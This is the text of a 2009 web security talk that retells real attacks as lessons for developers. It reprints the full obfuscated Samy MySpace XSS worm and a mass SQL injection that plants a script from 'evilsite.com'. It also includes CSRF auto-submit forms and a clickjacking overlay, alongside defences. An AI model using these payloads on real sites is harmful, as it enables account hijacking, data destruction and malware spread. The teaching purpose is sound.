User Testing on a Shoestring

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Web App SecurityHorror Stories

Simon Willison, 6th March 2009

Saturday, 7 March 2009

This talk is about learning from other people’s mistakes

Saturday, 7 March 2009

XSS(cross site scripting)

Saturday, 7 March 2009

Never let anyone inject their JavaScript

in to your page

Rule one:

Saturday, 7 March 2009

• Steal your users’ cookies and log in as them

• Embed malware and drive-by downloads

• Show a fake phishing login page on your site

• Perform any action as if I was your user

If you have an XSS hole, I can

Saturday, 7 March 2009

http://www.flickr.com/photos/tammets/2116105196/Saturday, 7 March 2009

<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')} function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+ 'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']=' heroes';AS['submit']='Preview'; AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero, 'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit'; AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing, 'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET'); xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L, processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm??useaction=invite.addFriendsProcess&Mytoken='+AR,nothing, 'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

Saturday, 7 March 2009

samy is my herohttp://namb.la/popular/

Saturday, 7 March 2009

MySpace customisation was “kind of a mistake”

http://bit.ly/myspace-mistake

Saturday, 7 March 2009

A social network worm

• When you viewed Samy’s profile...

• JS makes you add him as a friend

• JS uses XMLHttpRequest to add his exploit to YOUR profile as well

Saturday, 7 March 2009

12:34 pm: You have 73 friendsI decided to release my little popularity program. I'm going to be famous... among my friends.

1:30 am: You have 73 friends and 1 friend requestOne of my friends' girlfriend looks at my profile. She's obviously checking me out. I approve her inadvertent friend request and go to bed grinning.

8:35 am: You have 74 friends and 221 friend requestsWoah. I did not expect this much. I'm surprised it even worked.. 200 people have been infected in 8 hours. That means I'll have 600 new friends added every day. Woah.

9:30 am: You have 74 friends and 480 friend requestsOh wait, it's exponential, isn't it. Shit.

4th October 2005

Saturday, 7 March 2009

12:34 pm: You have 73 friendsI decided to release my little popularity program. I'm going to be famous... among my friends.

1:30 am: You have 73 friends and 1 friend requestOne of my friends' girlfriend looks at my profile. She's obviously checking me out. I approve her inadvertent friend request and go to bed grinning.

8:35 am: You have 74 friends and 221 friend requestsWoah. I did not expect this much. I'm surprised it even worked.. 200 people have been infected in 8 hours. That means I'll have 600 new friends added every day. Woah.

9:30 am: You have 74 friends and 480 friend requestsOh wait, it's exponential, isn't it. Shit.

4th October 2005

Saturday, 7 March 2009

12:34 pm: You have 73 friendsI decided to release my little popularity program. I'm going to be famous... among my friends.

1:30 am: You have 73 friends and 1 friend requestOne of my friends' girlfriend looks at my profile. She's obviously checking me out. I approve her inadvertent friend request and go to bed grinning.

8:35 am: You have 74 friends and 221 friend requestsWoah. I did not expect this much. I'm surprised it even worked.. 200 people have been infected in 8 hours. That means I'll have 600 new friends added every day. Woah.

9:30 am: You have 74 friends and 480 friend requestsOh wait, it's exponential, isn't it. Shit.

4th October 2005

Saturday, 7 March 2009

12:34 pm: You have 73 friendsI decided to release my little popularity program. I'm going to be famous... among my friends.

1:30 am: You have 73 friends and 1 friend requestOne of my friends' girlfriend looks at my profile. She's obviously checking me out. I approve her inadvertent friend request and go to bed grinning.

8:35 am: You have 74 friends and 221 friend requestsWoah. I did not expect this much. I'm surprised it even worked.. 200 people have been infected in 8 hours. That means I'll have 600 new friends added every day. Woah.

9:30 am: You have 74 friends and 480 friend requestsOh wait, it's exponential, isn't it. Shit.

4th October 2005

Saturday, 7 March 2009

20 hours, 1,005,831 friend requests

(then MySpace crashed)

Saturday, 7 March 2009

Google’s UTF-7 hole

Saturday, 7 March 2009

The UTF-7 hole

• Google’s 404 pages didn't specify a charset

• IE inspected the first 4096 bytes to “guess” the encoding of the page

• UTF-7 XSS attacks slipped through Google's XSS filters but were executed by IE

http://shiflett.org/blog/2005/dec/googles-xss-vulnerability

Saturday, 7 March 2009

You can’t trust CSS either

• HTC in IE and XBL in Mozilla are both vectors for JavaScript attacks

• A “position: absolute” hack was used to steal 30,000 MySpace passwords last year

http://community.livejournal.com/lj_dev/708069.html

http://www.securiteam.com/securitynews/6O00M0AHFW.html

Saturday, 7 March 2009

SQL injection

Saturday, 7 March 2009

Inexcusable.Use paramaterised queries, or an ORM

Saturday, 7 March 2009

If you’re gluing SQL together using string

appends

Saturday, 7 March 2009

$sql = "select * from users where nick = '". mysql_real_escape_string($username) . "'";

Bad (even though it's secure):

$sql = build_query( "select * from users where nick = ?", $nick);

Good:

Saturday, 7 March 2009

Mass XSS via SQL injectionDECLARE @T varchar(255), @C varchar(255);DECLARE Table_Cursor CURSOR FORSELECT a.name, b.nameFROM sysobjects a, syscolumns bWHERE a.id = b.id AND a.xtype = 'u' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167);OPEN Table_Cursor;FETCH NEXT FROM Table_Cursor INTO @T, @C;WHILE (@@FETCH_STATUS = 0) BEGIN EXEC( 'update [' + @T + '] set [' + @C + '] = rtrim(convert(varchar,[' + @C + ']))+ ''<script src=http://evilsite.com/1.js></script>''' ); FETCH NEXT FROM Table_Cursor INTO @T, @C;END;CLOSE Table_Cursor;DEALLOCATE Table_Cursor;

http://hackademix.net/2008/04/26/mass-attack-faq/

Saturday, 7 March 2009

CSRF

Saturday, 7 March 2009

“We’ve found CSRF vulnerabilities in sites that have a

huge incentive to do security correctly. If you’re in charge of a website and haven’t specifically

protected against CSRF, chances are you’re vulnerable”

- Bill Zeller

Saturday, 7 March 2009

Ever see a link like this?

<a href="http://app.example.com/delete.php?id=1">Delete</a>

Saturday, 7 March 2009

Now what if I do this:

<img src="http://app.example.com/delete.php?id=1"><img src="http://app.example.com/delete.php?id=2"><img src="http://app.example.com/delete.php?id=3"><img src="http://app.example.com/delete.php?id=4"><img src="http://app.example.com/delete.php?id=5">

... and trick you in to visiting my site?

Saturday, 7 March 2009

POST will not save you<form action="http://app.example.com/delete.php" method="POST"> <input type="hidden" name="id" value="1"> <input type="submit" value="More kittens please!"></form>

http://www.flickr.com/photos/fofurasfelinas/9724483/Saturday, 7 March 2009

Or submit with JavaScript

<div style="display: none"><form action="http://app.example.com/delete.php" method="POST"> <input type="hidden" name="id" value="1"></form></div>

<script>document.forms[0].submit()</script>

Saturday, 7 March 2009

The Digg exploit

• A few years ago, Digg had no CSRF protection on their “digg this” button

• The result: self-digging pages!

http://ha.ckers.org/blog/20060615/a-story-that-diggs-itself/

Saturday, 7 March 2009

http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/

The Gmail filter hack

Saturday, 7 March 2009

Preventing CSRF

• You need to distinguish between form interactions from your user on your site, and form interactions from your user on some other site

• Referrer checking is notoriously unreliable

• Solution: include a form token (Yahoo! calls this a “crumb”) proving that the post came from your site

Saturday, 7 March 2009

Crumbs<form action="http://app.example.com/delete.php" method="POST"> <input type="hidden" name="id" value="37"> <input type="hidden" name="crumb" value="856c2f50ddc49fd710f14a406ec1fef652d3c9f"> <input type="submit" value="Delete this item"></form>

Saturday, 7 March 2009

Protecting the crumb

• Your crumb is now the only thing protecting you from CSRF attacks

• This is why XSS is such a big deal

• With XSS, I can steal your crumb and run riot across your site

• XSS holes are automatically CSRF holes

Saturday, 7 March 2009

Login CSRF

Saturday, 7 March 2009

Use CSRF to force a user to sign in to an account you have created on a

trusted site

Saturday, 7 March 2009

... and wait for them to add private information,

such as their credit card details

Saturday, 7 March 2009

Clickjacking

Saturday, 7 March 2009

Saturday, 7 March 2009

iframe!

Saturday, 7 March 2009

Saturday, 7 March 2009

Saturday, 7 March 2009

Saturday, 7 March 2009

Saturday, 7 March 2009

Saturday, 7 March 2009

<style type="text/css">iframe { width: 400px; height: 200px; position: absolute; top: 10px; left: 10px; overflow: hidden; opacity: 0;}#decoy { ...}</style>

<iframe src="http://veryimportantapp.com/delete-account/"></iframe>

<p id="decoy">Click HERE for kittens!</p>

Saturday, 7 March 2009

Clickjacking protection

• Frame busting JavaScript

• <iframe security="restricted"> in IE

• "X-FRAME-OPTIONS: DENY" in IE 8

• The NoScript extension for Firefox

Saturday, 7 March 2009

Saturday, 7 March 2009

Saturday, 7 March 2009

Anti click-jacking

Saturday, 7 March 2009

Admin accesshorror stories

Saturday, 7 March 2009

Saturday, 7 March 2009

Saturday, 7 March 2009

Saturday, 7 March 2009

How did they do it?

They guessed the URLSaturday, 7 March 2009

The Twitter hack

• A bored teenager ran a brute force attack against a popular Twitter user

• "happiness" is a dictionary word

• She happened to be Twitter staff, with admin access

Saturday, 7 March 2009

Saturday, 7 March 2009

Keep admin accounts separate from regular

user accounts

Saturday, 7 March 2009

crossdomain.xml

Putting this at example.com/crossdomain.xml allows Flash applets on other sites to read your pages and steal your crumbs

Flash can even fake an X-Requested-With: XMLHttpRequest header

That’s why Flickr use api.flickr.com/crossdomain.xml instead

<cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy>

Saturday, 7 March 2009

crossdomain.xml

<cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy>

Putting this at example.com/crossdomain.xml allows Flash applets on other sites to read your pages and steal your crumbs

That’s why Flickr use api.flickr.com/crossdomain.xml instead

Saturday, 7 March 2009

YouTube/Gmail combo attack!

1. Attacker emails a special SWF to a Gmail account they control and locates the attachment download URL on google.com

2. Logged-in YouTube user visits an attacker controlled page

3. Attacker forces their victim to authenticate to the attackers Gmail account (using login CSRF)

4. Attacker embeds SWF from the Gmail account into the web page

5. Attacker now has read write access on YouTube.com as the victim’s account

http://jeremiahgrossman.blogspot.com/2008/09/i-used-to-know-what-you-watched-on.html

<allow-access-from domain="*.google.com" />

Saturday, 7 March 2009

No matter how hard you try, you can’t secure your site 100%

There’s always a chance a browser, plugin or compromised

client machine will screw everything up anyway

Saturday, 7 March 2009

... and 70% of users will give their password to a stranger in exchange for a bar of chocolate

http://news.bbc.co.uk/1/hi/technology/3639679.stm

Saturday, 7 March 2009

Thank you!

Saturday, 7 March 2009